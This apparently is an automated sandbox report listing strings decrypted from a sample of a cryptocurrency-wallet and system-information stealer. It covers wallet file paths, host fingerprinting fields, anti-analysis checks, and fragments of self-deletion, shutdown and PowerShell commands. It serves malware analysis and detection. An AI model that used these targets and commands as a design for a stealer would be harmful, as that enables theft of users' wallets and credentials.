Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: SYSTEM\ControlSet001\Services\BasicDisplay\Video
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: VideoID
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: DefaultSettings.XResolution
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: DefaultSettings.YResolution
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: ProductName
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: CurrentBuild
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: rundll32.exe
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: "taskkill /f /im "
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: " && timeout 1 && del
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: && Exit"
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: " && ren
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Powershell.exe
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: -executionpolicy remotesigned -File "
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: shutdown -s -t 0
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: random
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Keyboard Layout\Preload
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: 00000419
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: 00000422
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: 00000423
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: 0000043f
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: LoadLibraryA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: LoadLibraryA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetProcAddress
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetProcAddress
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: ExitProcess
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: ExitProcess
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: advapi32.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: advapi32.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: crypt32.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: crypt32.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetTickCount
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetTickCount
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Sleep
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Sleep
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CreateMutexA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CreateMutexA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetLastError
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetLastError
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: HeapAlloc
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: HeapAlloc
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetProcessHeap
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetProcessHeap
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetComputerNameA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetComputerNameA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: VirtualProtect
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: VirtualProtect
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetCurrentProcess
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetCurrentProcess
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetUserNameA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetUserNameA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: HAL9TH
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: HAL9TH
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: JohnDoe
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: JohnDoe
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: 21/04/2022 20:00:00
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: 21/04/2022 20:00:00
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: http://
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: http://
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Default
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Default
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: %hu/%hu/%hu %hu:%hu:%hu
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: %hu/%hu/%hu %hu:%hu:%hu
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: open
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: open
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: sqlite3.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: sqlite3.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: C:\ProgramData\sqlite3.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: C:\ProgramData\sqlite3.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: freebl3.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: freebl3.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: C:\ProgramData\freebl3.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: C:\ProgramData\freebl3.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: mozglue.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: mozglue.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: C:\ProgramData\mozglue.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: C:\ProgramData\mozglue.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: msvcp140.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: msvcp140.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: C:\ProgramData\msvcp140.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: C:\ProgramData\msvcp140.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: nss3.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: nss3.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: softokn3.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: softokn3.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: C:\ProgramData\softokn3.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: C:\ProgramData\softokn3.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: vcruntime140.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: vcruntime140.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: C:\ProgramData\vcruntime140.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: C:\ProgramData\vcruntime140.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: .zip
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: .zip
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Tag:
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Tag:
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: IP: IP?
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: IP: IP?
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Country: Country?
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Country: Country?
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Working Path:
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Working Path:
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Local Time:
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Local Time:
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: TimeZone:
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: TimeZone:
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Display Language:
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Display Language:
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Keyboard Languages:
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Keyboard Languages:
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Is Laptop:
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Is Laptop:
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Processor:
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Processor:
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Installed RAM:
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Installed RAM:
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: OS:
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: OS:
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: (
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: (
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Bit)
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Bit)
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Videocard:
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Videocard:
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Display Resolution:
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Display Resolution:
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: PC name:
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: PC name:
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: User name:
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: User name:
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Domain name:
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Domain name:
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: MachineID:
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: MachineID:
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GUID:
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GUID:
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Installed Software:
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Installed Software:
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: system.txt
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: system.txt
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Grabber\%s.zip
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Grabber\%s.zip
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: %APPDATA%
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: %APPDATA%
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: %USERPROFILE%
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: %USERPROFILE%
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: %DESKTOP%
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: %DESKTOP%
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Wallets\
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Wallets\
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Ethereum
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Ethereum
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: \Ethereum\
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: \Ethereum\
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: keystore
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: keystore
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Electrum
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Electrum
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: \Electrum\wallets\
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: \Electrum\wallets\
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: .
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: .
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: ElectrumLTC
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: ElectrumLTC
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: \Electrum-LTC\wallets\
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: \Electrum-LTC\wallets\
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Exodus
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Exodus
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: \Exodus\
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: \Exodus\
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: exodus.conf.json
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: exodus.conf.json
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: window-state.json
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: window-state.json
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: \Exodus\exodus.wallet\
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: \Exodus\exodus.wallet\
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: passphrase.json
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: passphrase.json
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: seed.seco
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: seed.seco
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: info.seco
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: info.seco
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: ElectronCash
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: ElectronCash
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: \ElectronCash\wallets\
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: \ElectronCash\wallets\
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: default_wallet
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: default_wallet
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: MultiDoge
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: MultiDoge
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: \MultiDoge\
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: \MultiDoge\
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: multidoge.wallet
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: multidoge.wallet
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: JAXX
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: JAXX
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: \jaxx\Local Storage\
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: \jaxx\Local Storage\
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: file__0.localstorage
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: file__0.localstorage
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Atomic
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Atomic
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: \atomic\Local Storage\leveldb\
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: \atomic\Local Storage\leveldb\
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: 000003.log
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: 000003.log
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CURRENT
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CURRENT
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: LOCK
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: LOCK
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: LOG
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: LOG
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: MANIFEST-000001
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: MANIFEST-000001
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: 0000*
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: 0000*
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Binance
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Binance
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: \Binance\
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: \Binance\
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: app-store.json
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: app-store.json
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Coinomi
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: Coinomi
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: \Coinomi\Coinomi\wallets\
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: \Coinomi\Coinomi\wallets\
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: *.wallet
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: *.wallet
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: *.config
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: *.config
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: wallet.dat
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: wallet.dat
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetSystemTime
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetSystemTime
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: lstrcatA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: lstrcatA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: ntdll.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: ntdll.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: sscanf
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: sscanf
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: memset
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: memset
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: memcpy
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: memcpy
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: wininet.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: wininet.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: user32.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: user32.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: gdi32.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: gdi32.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: netapi32.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: netapi32.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: psapi.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: psapi.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: bcrypt.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: bcrypt.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: vaultcli.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: vaultcli.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: shlwapi.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: shlwapi.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: shell32.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: shell32.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: gdiplus.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: gdiplus.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: ole32.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: ole32.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: dbghelp.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: dbghelp.dll
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CreateFileA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CreateFileA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: WriteFile
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: WriteFile
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CloseHandle
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CloseHandle
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetFileSize
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetFileSize
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: lstrlenA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: lstrlenA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: LocalAlloc
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: LocalAlloc
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GlobalFree
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GlobalFree
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: ReadFile
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: ReadFile
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: OpenProcess
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: OpenProcess
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: SetFilePointer
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: SetFilePointer
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: SetEndOfFile
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: SetEndOfFile
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetCurrentProcessId
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetCurrentProcessId
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetLocalTime
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetLocalTime
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: LocalFree
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: LocalFree
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetSystemInfo
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetSystemInfo
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: IsWow64Process
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: IsWow64Process
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetTempPathA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetTempPathA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetLocaleInfoA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetLocaleInfoA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetFileSizeEx
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetFileSizeEx
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetFileAttributesA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetFileAttributesA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: FindFirstFileA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: FindFirstFileA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: FindNextFileA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: FindNextFileA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: FindClose
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: FindClose
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetCurrentDirectoryA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GetCurrentDirectoryA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CopyFileA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: CopyFileA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: DeleteFileA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: DeleteFileA
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: lstrcmpW
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: lstrcmpW
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GlobalAlloc
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: GlobalAlloc
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: FreeLibrary
Source: 17.2.m0wsoI3.exe.400000.0.unpack	String decryptor: FreeLibrary
